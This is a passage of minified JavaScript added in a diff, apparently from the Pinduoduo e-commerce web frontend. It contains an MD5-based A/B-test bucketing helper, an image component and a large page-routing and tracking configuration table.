+ function a(e, t, n, a, i, o) { + return r(function(e, t) { + return e << t | e >>> 32 - t + }(r(r(t, e), r(a, o)), i), n) + } + + function i(e, t, n, r, i, o, s) { + return a(t & n | ~t & r, e, t, i, o, s) + } + + function o(e, t, n, r, i, o, s) { + return a(t & r | n & ~r, e, t, i, o, s) + } + + function s(e, t, n, r, i, o, s) { + return a(t ^ n ^ r, e, t, i, o, s) + } + + function c(e, t, n, r, i, o, s) { + return a(n ^ (t | ~r), e, t, i, o, s) + } + + function u(e, t) { + var n, a, u, l, p; + e[t >> 5] |= 128 << t % 32, + e[14 + (t + 64 >>> 9 << 4)] = t; + var d = 1732584193, + h = -271733879, + f = -1732584194, + m = 271733878; + for (n = 0; n < e.length; n += 16) + a = d, + u = h, + l = f, + p = m, + h = c(h = c(h = c(h = c(h = s(h = s(h = s(h = s(h = o(h = o(h = o(h = o(h = i(h = i(h = i(h = i(h, f = i(f, m = i(m, d = i(d, h, f, m, e[n], 7, -680876936), h, f, e[n + 1], 12, -389564586), d, h, e[n + 2], 17, 606105819), m, d, e[n + 3], 22, -1044525330), f = i(f, m = i(m, d = i(d, h, f, m, e[n + 4], 7, -176418897), h, f, e[n + 5], 12, 1200080426), d, h, e[n + 6], 17, -1473231341), m, d, e[n + 7], 22, -45705983), f = i(f, m = i(m, d = i(d, h, f, m, e[n + 8], 7, 1770035416), h, f, e[n + 9], 12, -1958414417), d, h, e[n + 10], 17, -42063), m, d, e[n + 11], 22, -1990404162), f = i(f, m = i(m, d = i(d, h, f, m, e[n + 12], 7, 1804603682), h, f, e[n + 13], 12, -40341101), d, h, e[n + 14], 17, -1502002290), m, d, e[n + 15], 22, 1236535329), f = o(f, m = o(m, d = o(d, h, f, m, e[n + 1], 5, -165796510), h, f, e[n + 6], 9, -1069501632), d, h, e[n + 11], 14, 643717713), m, d, e[n], 20, -373897302), f = o(f, m = o(m, d = o(d, h, f, m, e[n + 5], 5, -701558691), h, f, e[n + 10], 9, 38016083), d, h, e[n + 15], 14, -660478335), m, d, e[n + 4], 20, -405537848), f = o(f, m = o(m, d = o(d, h, f, m, e[n + 9], 5, 568446438), h, f, e[n + 14], 9, -1019803690), d, h, e[n + 3], 14, -187363961), m, d, e[n + 8], 20, 1163531501), f = o(f, m = o(m, d = o(d, h, f, m, e[n + 13], 5, -1444681467), h, f, e[n + 2], 9, -51403784), d, h, e[n + 7], 14, 1735328473), m, d, e[n + 12], 20, -1926607734), f = s(f, m = s(m, d = s(d, h, f, m, e[n + 5], 4, -378558), h, f, e[n + 8], 11, -2022574463), d, h, e[n + 11], 16, 1839030562), m, d, e[n + 14], 23, -35309556), f = s(f, m = s(m, d = s(d, h, f, m, e[n + 1], 4, -1530992060), h, f, e[n + 4], 11, 1272893353), d, h, e[n + 7], 16, -155497632), m, d, e[n + 10], 23, -1094730640), f = s(f, m = s(m, d = s(d, h, f, m, e[n + 13], 4, 681279174), h, f, e[n], 11, -358537222), d, h, e[n + 3], 16, -722521979), m, d, e[n + 6], 23, 76029189), f = s(f, m = s(m, d = s(d, h, f, m, e[n + 9], 4, -640364487), h, f, e[n + 12], 11, -421815835), d, h, e[n + 15], 16, 530742520), m, d, e[n + 2], 23, -995338651), f = c(f, m = c(m, d = c(d, h, f, m, e[n], 6, -198630844), h, f, e[n + 7], 10, 1126891415), d, h, e[n + 14], 15, -1416354905), m, d, e[n + 5], 21, -57434055), f = c(f, m = c(m, d = c(d, h, f, m, e[n + 12], 6, 1700485571), h, f, e[n + 3], 10, -1894986606), d, h, e[n + 10], 15, -1051523), m, d, e[n + 1], 21, -2054922799), f = c(f, m = c(m, d = c(d, h, f, m, e[n + 8], 6, 1873313359), h, f, e[n + 15], 10, -30611744), d, h, e[n + 6], 15, -1560198380), m, d, e[n + 13], 21, 1309151649), f = c(f, m = c(m, d = c(d, h, f, m, e[n + 4], 6, -145523070), h, f, e[n + 11], 10, -1120210379), d, h, e[n + 2], 15, 718787259), m, d, e[n + 9], 21, -343485551), + d = r(d, a), + h = r(h, u), + f = r(f, l), + m = r(m, p); + return [d, h, f, m] + } + + function l(e) { + var t, n = """", + r = 32 * e.length; + for (t = 0; t < r; t += 8) + n += String.fromCharCode(e[t >> 5] >>> t % 32 & 255); + return n + } + + function p(e) { + var t, n = []; + for (n[(e.length >> 2) - 1] = void 0, + t = 0; t < n.length; t += 1) + n[t] = 0; + var r = 8 * e.length; + for (t = 0; t < r; t += 8) + n[t >> 5] |= (255 & e.charCodeAt(t / 8)) << t % 32; + return n + } + + function d(e) { + var t, n, r = """"; + for (n = 0; n < e.length; n += 1) + t = e.charCodeAt(n), + r += ""0123456789abcdef"".charAt(t >>> 4 & 15) + ""0123456789abcdef"".charAt(15 & t); + return r + } + + function h(e) { + return unescape(encodeURIComponent(e)) + } + + function f(e) { + return function(e) { + return l(u(p(e), 8 * e.length)) + }(h(e)) + } + + function m(e, t) { + return function(e, t) { + var n, r = p(e), + a = [], + i = []; + for (a[15] = i[15] = void 0, + r.length > 16 && (r = u(r, 8 * e.length)), + n = 0; n < 16; n += 1) + a[n] = 909522486 ^ r[n], + i[n] = 1549556828 ^ r[n]; + var o = u(a.concat(p(t)), 512 + 8 * t.length); + return l(u(i.concat(o), 640)) + }(h(e), h(t)) + } + var g = function(e, t, n) { + return t ? n ? m(t, e) : function(e, t) { + return d(m(e, t)) + }(t, e) : n ? f(e) : function(e) { + return d(f(e)) + }(e) + }; + var v = function(e) { + var t = 0; + e = e.toString(); + for (var n = 0; n < e.length; n++) + t = (t << 5) - t + e.charCodeAt(n) & 4294967295; + return t + }; + var _ = function(e, t) { + var n = g(e + t).toUpperCase(); + return v(n) + }; + var b = function(e, t, n) { + n = parseInt(n, 10) || 0, + e = e || 100; + var r = _(t = t || 0, n) % e; + return r < 0 && (r += e), + r + }; + var y = function(e, t, n) { + if (e = e || {}, + t = parseInt(t, 10) || 0, + n = n || !1, + 0 === t || n) + return e.defaultModel; + var r = b(e.bucketCount, e.salt, t), + a = e.models || {}, + i = []; + i = e.modelKeyArr && e.modelKeyArr.length > 0 ? e.modelKeyArr : Object.keys(a); + var o = function() { + for (var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, t = arguments.length > 1 ? arguments[1] : void 0, n = Object.keys(e), r = 0; r < n.length; r++) { + var a = n[r]; + if ((e[a].whiteList || []).includes(t)) + return a + } + return null + }(a, t); + if (o) + return o; + for (var s = 0; s < i.length; s++) { + var c = i[s], + u = a[c]; + if (!u) + break; + if (!(u.blackList.indexOf(t) >= 0) && r < (u.buckets || 0)) + return c + } + return e.defaultModel + }; + n.d(t, ""b"", function() { + return b + }); + t.a = { + getHashCode: _, + getTriggerResult: b, + getTestStrategy: y, + hashCode: v + } + }, + uWu0: function(e, t, n) { + ""use strict""; + var r = n(""pVnL""), + a = n.n(r), + i = n(""MVZn""), + o = n.n(i), + s = n(""QILm""), + c = n.n(s), + u = n(""q1tI""), + l = n.n(u), + p = (n(""17x9""), + n(""0Dta"")); + + function d(e) { + var t = e.src, + n = e.processParam, + r = c()(e, [""src"", ""processParam""]); + return l.a.createElement(""img"", a()({}, r, { + src: Object(p.a)(t, n) + })) + } + var h = n(""m3Hr""), + f = n(""u16y""); + + function m(e, t) { + return Object(p.a)(e, o()({}, t, { + webpEnable: f.a.getWebpEnableVariable ? f.a.getWebpEnableVariable() : f.a.webpEnable + })) + } + + function g(e) { + var t = e.src, + n = e.processParam, + r = c()(e, [""src"", ""processParam""]); + return l.a.createElement(h.a, a()({}, r, { + src: m(t, n) + })) + } + n.d(t, ""a"", function() { + return _ + }); + var v = { + resizeWidth: 1300, + quality: 80, + strip: !0 + }; + + function _(e) { + var t = e.lazy, + n = e.processParam, + r = c()(e, [""lazy"", ""processParam""]), + i = t ? g : d; + return l.a.createElement(i, a()({}, r, { + processParam: o()({}, v, {}, n) + })) + } + _.defaultProps = { + lazy: !0 + } + }, + uf4C: function(e, t, n) { + ""use strict""; + var r = n(""b5fu""), + a = n(""EJiy""), + i = n.n(a), + o = { + SpecialRegExp: [{ + regExp: /(\/index.html)|(\/$)/, + page: ""index"" + }, { + regExp: /\/goods\d*.html/, + page: ""goods"" + }, { + regExp: /\/group\d*.html/, + page: ""group"" + }], + PageInfo: { + index: { + pv: {}, + pageSN: 10002 + }, + spike: { + pv: {}, + pageName: ""seckill"", + pageSN: 10025, + title: ""限时秒杀"" + }, + brand_spike: { + pv: {}, + pageSN: 10087, + pageName: ""brand_spike"", + title: ""品牌秒杀"" + }, + super_spike: { + pv: {} + }, + subject: { + pv: { + keys: [""subject_id""] + }, + pageSN: 10026, + native: { + android: { + name: ""pdd_subject"", + version: ""1.3.2"" + }, + ios: { + name: ""pdd_subject"", + version: ""2.1.6"" + } + } + }, + spec99: { + pageName: ""bargain"" + }, + free_trial_page: { + pv: {}, + pageName: ""free_try"", + title: ""免费试用团"" + }, + lottery: { + pv: {}, + title: ""抽奖"" + }, + catgoods: { + pv: { + keys: [{ + key: ""opt_id"", + mapping: [""cat_id""] + }, { + key: ""opt_type"", + mapping: [""cat_type""] + }] + }, + pageSN: 10028, + pageName: ""opt"", + native: { + android: { + name: ""category"", + version: ""1.4.0"" + }, + ios: { + name: ""pdd_category"", + version: ""2.1.8"", + queryMap: { + opt_id: ""category_id"", + opt_type: ""category_type"", + opt_name: ""category_name"" + } + } + } + }, + category_recommend: { + pv: { + keys: [""top_cat_ids"", ""cat_ids""] + }, + title: ""拼多多热卖精选"" + }, + new_arrivals: { + pv: {}, + pageSN: 10017, + pageName: ""shangxin"" + }, + rank_hot: { + pv: {}, + pageSN: 10029, + pageName: ""hotcity"" + }, + prime_subjects: { + pv: {}, + pageSN: 10030, + pageName: ""selected_subject"" + }, + haitao: { + pv: {}, + pageSN: 10082 + }, + classification: { + pv: {}, + pageName: ""search"", + pageSN: 10031, + native: { + android: { + name: ""classification"", + version: ""3.0.0"" + }, + ios: { + name: ""pdd_search"", + version: ""3.0.0"" + } + } + }, + search_result: { + pv: { + keys: [{ + key: ""query"", + mapping: [""search_key""] + }] + }, + pageSN: 10015 + }, + personal: { + pv: {}, + pageSN: 10001 + }, + pincard_museum: { + pv: {}, + pageSN: 10075, + title: ""拼单卡收藏馆"", + native: { + android: { + name: ""pdd_card_gallery"", + version: ""3.39.0"" + }, + ios: { + name: ""pdd_card_gallery"", + version: ""3.39.0"" + } + } + }, + pincard_museum_guest: { + pv: { + keys: [""to_uid""] + }, + pageSN: 10097, + title: ""拼单卡收藏馆"" + }, + pincard_reward: { + pv: {}, + pageSN: 10077, + title: ""集卡奖励"", + native: { + android: { + name: ""pdd_card_reward"", + version: ""3.39.0"" + }, + ios: { + name: ""pdd_card_reward"", + version: ""3.39.0"" + } + } + }, + pincard_give: { + pv: { + keys: [""from_uid"", ""card_id"", ""type""] + }, + pageSN: 10078 + }, + pincard_ask: { + pv: { + keys: [""to_uid"", ""request_id"", ""type""] + }, + pageSN: 10079 + }, + pincard_mine: { + native: { + android: { + name: ""pdd_card_main_frame"", + version: ""4.33.0"" + }, + ios: { + name: ""pdd_card_main_frame"", + version: ""4.33.0"" + } + } + }, + pincard_brand_coupon: { + native: { + android: { + name: ""pdd_card_brand_coupon"", + version: ""4.23.0"" + }, + ios: { + name: ""pdd_card_brand_coupon"", + version: ""4.23.0"" + } + } + }, + pincard_brand_coupon_new: { + native: { + android: { + name: ""pdd_card_brand_coupon_new"", + version: ""4.34.0"" + }, + ios: { + name: ""pdd_card_brand_coupon_new"", + version: ""4.34.0"" + } + } + }, + timeline: { + pv: {}, + pageSN: 10104, + title: ""拼小圈"", + native: { + android: { + name: ""pdd_moments"", + version: ""3.49.0"" + }, + ios: { + name: ""pdd_moments"", + version: ""3.49.0"" + } + } + }, + timeline_manual: { + pv: {}, + pageSN: 10165, + title: ""拼小圈隐私保护说明"" + }, + timeline_notification: { + pv: {}, + pageSN: 10189, + title: ""拼小圈提醒"" + }, + timeline_detail: { + pv: {}, + pageSN: 10190, + title: ""动态详情"", + native: { + android: { + name: ""pdd_moments_detail"", + version: ""3.54.0"" + }, + ios: { + name: ""pdd_moments_detail"", + version: ""3.54.0"" + } + } + }, + profile: { + pv: { + keys: [""other_uin""] + }, + pageName: ""friend_profile"", + title: ""个人主页"", + pageSN: 10056, + native: { + android: { + name: ""pdd_friend_home"", + version: ""3.42.0"" + }, + ios: { + name: ""pdd_friend_home"", + version: ""3.42.0"" + } + } + }, + my_friends: { + pv: {}, + title: ""我的拼友"", + pageSN: 10061, + native: { + android: { + name: ""pdd_friends"", + version: ""3.42.0"" + }, + ios: { + name: ""pdd_friends"", + version: ""3.42.0"" + } + } + }, + friends_requests: { + pv: {}, + title: ""拼友申请"", + pageName: ""requesting_friends"", + pageSN: 10060, + native: { + android: { + name: ""pdd_requesting_friends"", + version: ""3.42.0"" + }, + ios: { + name: ""pdd_requesting_friends"", + version: ""3.42.0"" + } + } + }, + friends_recommends: { + pv: {}, + title: ""推荐拼友"", + pageName: ""recommended_friends"", + pageSN: 10059, + native: { + android: { + name: ""pdd_recommended_friends"", + version: ""3.42.0"" + }, + ios: { + name: ""pdd_recommended_friends"", + version: ""3.42.0"" + } + } + }, + orders: { + pv: { + keys: [""type""] + }, + pageName: ""my_order"", + pageSN: 10032, + requireLogin: !0, + title: ""我的订单"", + native: { + android: { + name: ""pdd_orders"", + version: ""2.6.0"" + }, + ios: { + name: ""pdd_orders"", + version: ""2.14.0"" + } + } + }, + personal_order_result: { + pv: {}, + pageSN: 10084 + }, + friend_pay: { + pv: { + keys: [""order_sn""] + } + }, + groups: { + pv: { + indiv: !0 + }, + pageSN: 10072, + pageName: ""my_group"", + requireLogin: !0, + title: ""我的拼单"" + }, + likes: { + pv: { + keys: [""favorite_type""] + }, + pageSN: 10034, + requireLogin: !0, + title: ""商品收藏"", + native: { + android: { + name: ""pdd_favorite"", + version: ""4.33.0"" + }, + ios: { + name: ""pdd_favorite_goods_new_ui"", + version: ""4.30.0"" + } + } + }, + mylottery: { + pv: {}, + pageSN: 10035, + pageName: ""my_lottery"", + requireLogin: !0, + title: ""我的抽奖"" + }, + chat_list: { + pv: {}, + pageSN: 10051, + pageName: ""new_chat_list"", + requireLogin: !0, + title: ""聊天"" + }, + recent_grouping: { + pv: {}, + requireLogin: !0, + title: ""最近拼单的人"" + }, + coupons: { + pv: {}, + pageName: ""my_coupons"", + pageSN: 10037, + requireLogin: !0, + title: ""我的优惠券"" + }, + coupon_group_share: { + pv: { + keys: [""share_code""] + }, + keyParams: { + needTimeline: !0 + }, + pageName: ""coupon_group_share"", + requireLogin: !0 + }, + complaint_list: { + pv: {}, + pageName: ""complaint"", + requireLogin: !0, + pageSN: 10132, + title: ""退款/售后列表"" + }, + order: { + pv: { + keys: [""order_sn""] + }, + pageSN: 10038, + pageName: ""order_detail"", + requireLogin: !0 + }, + group: { + pv: { + indiv: !1, + keys: [""group_order_id""] + }, + pageSN: 10024, + pageName: ""group_detail"", + requireLogin: !0, + tkShareClick: !0 + }, + goods: { + pv: { + keys: [""goods_id""] + }, + pageSN: 10014, + pageName: ""goods_detail"", + tkShareClick: !0, + native: { + android: { + name: ""pdd_goods_detail"", + version: ""3.13.0"" + }, + ios: { + name: ""pdd_goods_detail"", + version: ""3.15.0"" + } + } + }, + order_checkout: { + pv: { + keys: [""goods_id"", ""sku_id"", ""group_id"", { + key: ""goods_number"", + default: 1 + }] + }, + pageSN: 10004, + requireLogin: !0 + }, + mall_page: { + pv: { + keys: [{ + key: ""mall_id"", + mapping: [""amp;mall_id""] + }] + }, + pageName: ""mall"", + native: { + android: { + name: ""pdd_mall"", + version: ""2.1.0"" + }, + ios: { + name: ""pdd_mall"", + version: ""1.3.0"" + } + }, + pageSN: 10039 + }, + mall_certificates: { + pv: { + keys: [""mall_id""] + }, + pageName: ""mall_certificates"", + requireLogin: !0, + title: ""经营证照"" + }, + mall_receipt_detail: { + pv: {}, + pageName: ""mall_receipt_detail"", + pageSN: 10210, + requireLogin: !0 + }, + tzfree_list: { + pv: {}, + pageSN: 10040, + pageName: ""free_group_list"" + }, + free_voucher: { + title: ""我的免单券"", + pv: {}, + pageSN: 10040, + pageName: ""free_voucher"" + }, + coupon_resurgence: { + title: ""可复活优惠券"", + pv: {}, + pageSN: 10206, + pageName: ""coupon_resurgence"" + }, + coupon_activity: { + title: ""获取更多红包"", + pv: {}, + pageSN: 10216, + pageName: ""coupon_activity"" + }, + expiring_coupons: { + pv: { + keys: [""expire_batch_ids""] + }, + pageName: ""expired_coupon"", + requireLogin: !0 + }, + coupon_push_someusers: { + requireLogin: !0 + }, + coupon_event_v2: { + pv: {}, + pageName: ""red_packet"", + requireLogin: !0 + }, + coupon_event_tmp: { + pv: {}, + pageName: ""red_packet"", + requireLogin: !0 + }, + chat_detail: { + pv: { + keys: [""mall_id""] + }, + pageName: ""talk"", + pageSN: 10041, + requireLogin: !0, + native: { + android: { + name: ""chat"", + version: ""3.30.0"" + }, + ios: { + name: ""chat"", + version: ""3.30.0"" + } + } + }, + chat_detail_friends: { + pv: { + keys: [""other_uin""] + }, + pageSN: 10052, + pageName: ""chat_detail_friends"", + requireLogin: !0, + native: { + android: { + name: ""pdd_friend_chat"", + version: ""3.42.0"" + }, + ios: { + name: ""pdd_friend_chat"", + version: ""3.42.0"" + } + } + }, + chat_detail_logistics: { + pv: {}, + pageSN: 10935, + pageName: ""chat_detail_logistics"", + requireLogin: !0, + native: { + android: { + name: ""logistics_chat"", + version: ""4.19.0"" + }, + ios: { + name: ""logistics_chat"", + version: ""4.19.0"" + } + } + }, + additional_comments: { + pv: {}, + requireLogin: !0, + pageSN: 10042, + native: { + android: { + name: ""pdd_additional_comment"", + version: ""3.20.0"" + }, + ios: { + name: ""pdd_additional_comment"", + version: ""3.20.0"" + } + } + }, + address: { + pv: {}, + requireLogin: !0 + }, + addresses: { + pv: {}, + pageSN: 10005, + requireLogin: !0, + title: ""收货地址"", + native: { + android: { + name: ""address"", + version: ""1.3.1"" + }, + ios: { + name: ""address"", + version: ""2.1.4"" + } + } + }, + alipay_callback: { + pv: {} + }, + wechat_h5_pay_callback: { + pv: {}, + requireLogin: !0 + }, + anniversary: {}, + app_about: { + pv: {} + }, + app: {}, + app_new_user_popup: { + pv: { + indiv: !0 + } + }, + authorize: { + pv: {}, + requireLogin: !0 + }, + black_friday: {}, + comments: { + pv: { + keys: [""order_sn""] + }, + pageSN: 10022, + requireLogin: !0, + native: { + android: { + name: ""pdd_comment"", + version: ""3.20.0"" + }, + ios: { + name: ""pdd_comment"", + version: ""3.20.0"" + } + } + }, + complaint_guide: { + pv: {} + }, + complaint_old: { + pv: {}, + requireLogin: !0 + }, + complaint_mall: { + title: ""投诉商家"", + pageSN: 10146 + }, + coupon_recommend: { + pv: {}, + requireLogin: !0 + }, + coupon_share: { + pv: { + keys: [""share_code"", ""ownerID""] + }, + pageSN: 10043, + keyParams: { + needTimeline: !0 + }, + pageName: ""coupon"", + requireLogin: !0 + }, + deal_made: { + pv: {}, + requireLogin: !0 + }, + double11: {}, + download: {}, + android_download: { + pv: { + indiv: !0 + } + }, + android_broswer_download: { + pv: { + indiv: !0 + } + }, + faq: { + pv: {} + }, + goods_comments: { + pv: { + keys: [""goods_id""] + }, + pageSN: 10058 + }, + goods_express: { + pv: { + keys: [""order_sn"", ""goods_id"", ""tracking_number"", ""shipping_id""] + }, + pageSN: 10007, + requireLogin: !0, + native: { + android: { + name: ""pdd_express"", + version: ""3.0.0"" + }, + ios: { + name: ""pdd_express"", + version: ""2.18.0"" + } + } + }, + goods_skip: { + pv: { + keys: [""goods_id""] + } + }, + login: { + pv: {} + }, + lottery_list: { + pv: { + keys: [""lucky_id""] + }, + pageSN: 10057 + }, + free_group_list: { + title: ""免单幸运儿名单"", + pv: { + keys: [""activity_id"", ""goods_id""] + } + }, + setting: { + pv: {}, + pageSN: 10134 + }, + setting_privacy: { + pv: {}, + pageSN: 10166, + title: ""拼小圈设置"" + }, + skip: { + pv: {} + }, + suggestion: { + pv: {}, + title: ""常见问题"" + }, + terms: { + pv: {} + }, + personal_feedback: { + pv: {}, + title: ""意见反馈"", + pageSN: 10044, + native: { + android: { + name: ""pdd_feedback_category"", + version: ""3.4.0"" + }, + ios: { + name: ""pdd_feedback_category"", + version: ""3.4.0"" + } + } + }, + feedback_commit: { + pv: { + keys: [{ + key: ""type"", + default: 1 + }] + }, + title: ""意见反馈"", + requireLogin: !0 + }, + qqoauth_callback: {}, + wboauth_callback: {}, + complaint: { + pv: { + keys: [""order_sn""] + }, + pageName: ""complaint_make"", + requireLogin: !0, + pageSN: 10128 + }, + complaint_detail: { + pv: { + keys: [""after_sales_id"", ""order_sn""] + }, + pageSN: 10045, + requireLogin: !0, + title: ""退款/售后详情"" + }, + refund_trace: { + pv: { + keys: [""after_sales_id"", ""order_sn""] + }, + pageSN: 10139, + title: ""钱款去向"" + }, + service_complaint: { + pv: {}, + title: ""服务投诉"" + }, + choose_orders: { + pv: { + keys: [""type_id"", ""type_desc""] + }, + requireLogin: !0, + native: { + android: { + name: ""pdd_self_service_order_selection"", + version: ""3.28.0"" + }, + ios: { + name: ""pdd_self_service_order_selection"", + version: ""3.28.0"" + } + }, + pageSN: 10171 + }, + questions: { + pv: {}, + title: ""常见问题"", + pageSN: 10145 + }, + sub_questions: { + pv: {}, + pageSN: 10138 + }, + solutions: { + pv: {}, + title: ""常见问题"", + pageSN: 10143 + }, + self_service: { + pv: {}, + pageSN: 10016, + title: ""自助服务"" + }, + self_message: { + pv: { + keys: [""type_id""] + }, + title: ""自助服务"", + native: { + android: { + name: ""pdd_message_leaving"", + version: ""3.28.0"" + }, + ios: { + name: ""pdd_message_leaving"", + version: ""3.28.0"" + } + }, + pageSN: 10179 + }, + self_message_progress: { + pv: {}, + title: ""自助服务进度查询"", + pageSN: 10152 + }, + self_message_progress_detail: { + pv: { + keys: [""ticket_id""] + }, + title: ""自助服务进度查询"", + pageSN: 10147 + }, + red_packet_question: { + pv: {}, + pageSN: 10063, + title: ""拼多多好友红包"" + }, + red_packet_answer: { + pv: { + keys: [""red_packet_sn""] + }, + pageSN: 10064, + title: ""拼多多好友红包"" + }, + spike_sellout: { + pv: {}, + pageName: ""seckill_no"" + }, + haitao_spike: { + pv: {}, + pageName: ""haitao_seckill"" + }, + haitao_spike_sellout: { + pv: {}, + pageName: ""haitao_seckill_no"" + }, + app_coupon_popup: {}, + subjects: { + pv: { + keys: [""subjects_id""] + }, + pageSN: 10046, + native: { + android: { + name: ""pdd_subjects"", + version: ""4.20.0"" + }, + ios: { + name: ""pdd_subjects"", + version: ""4.20.0"" + } + } + }, + fruit: { + pv: {}, + title: ""拼好货"" + }, + economical_brand: { + pv: {}, + title: ""名品折扣"", + pageSN: 10020, + native: { + android: { + name: ""pdd_economical_brand"", + version: ""3.30.0"" + }, + ios: { + name: ""pdd_economical_brand"", + version: ""3.30.0"" + } + } + }, + brand: { + pv: { + keys: [""subject_id""] + }, + pageSN: 10021, + native: { + android: { + name: ""pdd_brand"", + version: ""3.30.0"" + }, + ios: { + name: ""pdd_brand"", + version: ""3.30.0"" + } + } + }, + flash_groups: { + pageSN: 10069 + }, + attendance: { + pageName: ""signin"", + pageSN: 10019 + }, + daily_bonus: { + pageName: ""daily_bonus"", + pageSN: 10083 + }, + rate_your_voice: { + pageName: ""test_voice"", + pageSN: 10066 + }, + new_year_coupon_square: { + title: ""年货节领券专区"" + }, + new_year: {}, + express_complaint: { + pv: {}, + pageSN: 10047, + title: ""物流投诉"", + requireLogin: !0 + }, + one_yuan_purchase: { + pv: {}, + pageSN: 10055, + title: ""一元团"" + }, + invite_user: { + pv: {}, + pageSN: ""10088"" + }, + jxtz_promo: { + pv: {} + }, + jxtz_promo_venue: { + pv: {} + }, + mid_year_promo_venue: { + pv: {} + }, + april_new_home: { + pv: {}, + title: ""拼多多焕新家"" + }, + tuan_success_recommend: { + pv: { + keys: [""goods_id""] + }, + pageSN: 10070, + title: ""猜你喜欢"" + }, + coupon_newbee: { + pv: { + keys: [""coupon_id""] + }, + title: ""优惠券适用商品"" + }, + personal_profile: { + pv: {}, + pageSN: 10006, + title: ""我的资料"", + native: { + android: { + name: ""pdd_personal_profile"", + version: ""4.33.0"" + }, + ios: { + name: ""pdd_personal_profile"", + version: ""4.33.0"" + } + } + }, + coupon_download: { + pv: {} + }, + coupon_tzfree: { + pv: {} + }, + coupon_newuser: { + pv: {}, + pageSN: 10008 + }, + coupon_newuser_v2: { + pv: { + keys: [""event_sn""] + }, + pageSN: 10008 + }, + sing_china_vote: { + pv: {}, + pageSN: 10062 + }, + sing_china_vote_group: { + pv: { + keys: [""group_vote_id""] + }, + pageSN: 10065 + }, + assist_free_coupon: { + pv: {}, + pageSN: 10049 + }, + assist_free_coupon_orders: { + pv: {} + }, + assist_free_coupon_download: { + pv: { + keys: [""share_uid"", ""goods_id"", ""token"", ""redirect""] + } + }, + goods_push_recommend: { + pv: { + keys: [""goods_id"", ""plan""] + }, + pageSN: 10080 + }, + commercial_middle: { + pv: { + keys: [""goods_id""] + }, + pageSN: 10085 + }, + commercial_get_coupon: { + pv: {}, + pageSN: ""10099"" + }, + footprint: { + pv: { + keys: [] + }, + pageSN: 10048, + title: ""历史浏览"", + native: { + android: { + name: ""pdd_footprint"", + version: ""4.0.0"" + }, + ios: { + name: ""pdd_footprint"", + version: ""4.20.0"" + } + } + }, + detail: { + pv: {}, + title: ""商品详情"" + }, + mall_new_arrivals: { + pv: {}, + title: ""收藏店铺上新"", + pageSN: 10018 + }, + deposit: { + pv: {}, + title: ""充值中心"", + pageSN: 10089 + }, + promotion: { + pv: {}, + pageSN: 10260, + pageName: ""new_season"" + }, + promotion_subject: { + pv: { + keys: [""subject_id""] + }, + pageSN: 10261, + pageName: ""new_season_venue"" + }, + promotion_treasure: { + pv: {}, + pageSN: 12133, + pageName: ""treasure_box"" + }, + friends_batch_adds: { + pv: {}, + pageSN: 10360, + pageName: ""first_friends"", + native: { + android: { + name: ""pdd_first_time_recommendation"", + version: ""4.14.0"" + } + } + }, + lottery_refund_track: { + pv: { + keys: [""lucky_id""] + }, + pageSN: 10107 + }, + express_complaint_submit: { + pv: { + keys: [""order_sn""] + }, + pageSN: 10172 + }, + express_complaint_v2: { + pv: { + keys: [""order_sn""] + }, + pageSN: 10127 + }, + transac_batch_checkout: { + pageSN: 13411, + pageName: ""transac_batch_checkout"" + } + } + }; + + function s(e, t) { + ""object"" === (void 0 === t ? ""undefined"" : i()(t)) && (this.pageProperty = t), + ""string"" != typeof e ? e && ""object"" === (void 0 === e ? ""undefined"" : i()(e)) && this.initByOpts(e) : this.initByUrl(e) + } + + function c(e) { + var t = {}; + return (e.split(""#"")[0].split(""?"")[1] || """").split(""&"").forEach(function(e) { + var n = e.split(""=""), + r = decodeURIComponent(n[0] || """"), + a = decodeURIComponent(n[1] || """"); + r && (t[r] = a || """") + }), + t + } + s.prototype.initByUrl = function(e, t) { + if (e = e || (""undefined"" != typeof location ? location.href : """")) { + var n = c(e); + this.pageELSN = n.page_el_sn || null, + this.query = r.a.extend(c(e), t); + for (var a = function(e) { + var t = e.split(""?"")[0].split(""/""); + return ""/"" + t[t.length - 1] + }(e), i = a.slice(1).split(""."")[0], s = 0; s < o.SpecialRegExp.length; s++) { + var u = o.SpecialRegExp[s]; + if (a.match(u.regExp)) { + i = u.page; + break + } + } + ""subject"" === i && ""spec99"" === this.query.promotion_type && (i = ""spec99""), + this.initWithPageKey(i) + } + }, + s.prototype.initByOpts = function(e) { + (e = e || {}).url ? this.initByUrl(e.url, e.query) : e.pageKey && this.initWithPageKey(e.pageKey) + }, + s.prototype.initWithPageKey = function(e) { + e = e || this.pageKey, + this.pageKey = e; + var t = r.a.extend(o.PageInfo[e] || {}, this.pageProperty || {}); + if (t || (t = {}), + this.info = t, + this.pageName = t.pageName || e, + this.pageSN = t.pageSN || null, + this.requireLogin = t.requireLogin || !1, + this.title = t.title, + this.tkShareClick = t.tkShareClick || !1, + this.keyParams = t.keyParams || {}, + this.native = t.native || {}, + ""undefined"" != typeof window && window.rawData && window.rawData.pageID) + this.pageID = window.rawData.pageID; + else if (this.query && this.query.page_id) + this.pageID = this.query.page_id; + else { + var n = this.pageName, + a = this.pageSN; + n.match(/app_\w+_popup/) && (n = ""index""), + this.pageID = function(e, t, n) { + return [t || e || n || """", Date.now(), r.a.getRandomString(10)].join(""_"") + }(n, a, e) + } + this.pvInfo = t.pv || {}, + e.match(/^app_\w+/) && (this.pvInfo.isAppModal = !0) + }, + s.prototype.getPageName = function() { + return this.pageName + }, + s.prototype.getPageSN = function() { + return this.pageSN + }, + s.prototype.getPageID = function() { + return this.pageID + }, + s.prototype.updateQuery = function(e) {}, + s.prototype.getQuery = function() { + return this.query + }, + s.prototype.getAdQuery = function() { + return { + cid: this.query.cid, + src: this.query.src, + campaign: this.query.campaign + } + }, + s.prototype.getNativeQuery = function(e) { + var t = this.getNativeInfo(e); + if (!t) + return this.query; + var n = r.a.extend(this.query); + if (t.queryMap) + for (var a in t.queryMap) + if (t.queryMap.hasOwnProperty(a)) { + var i = t.queryMap[a]; + n[a] && (n[i] = n[a]) + } + return n + }, + s.prototype.setKeyParams = function(e) { + for (var t in e) + e.hasOwnProperty(t) && null == e[t] && delete e[t]; + this.keyParams = r.a.extend(this.keyParams, e) + }, + s.prototype.getKeyParams = function() { + return this.keyParams + }, + s.prototype.getNativeInfo = function(e) { + return this.native[e.toLowerCase()] + }, + s.prototype.checkNativePageVersion = function(e, t) { + var n = this.getNativeInfo(e); + return !(!n || !n.version) && r.a.compareVersion(t, n.version) >= 0 + }, + s.prototype.getNativePageName = function(e) { + var t = this.getNativeInfo(e); + if (t) + return t.name + }, + 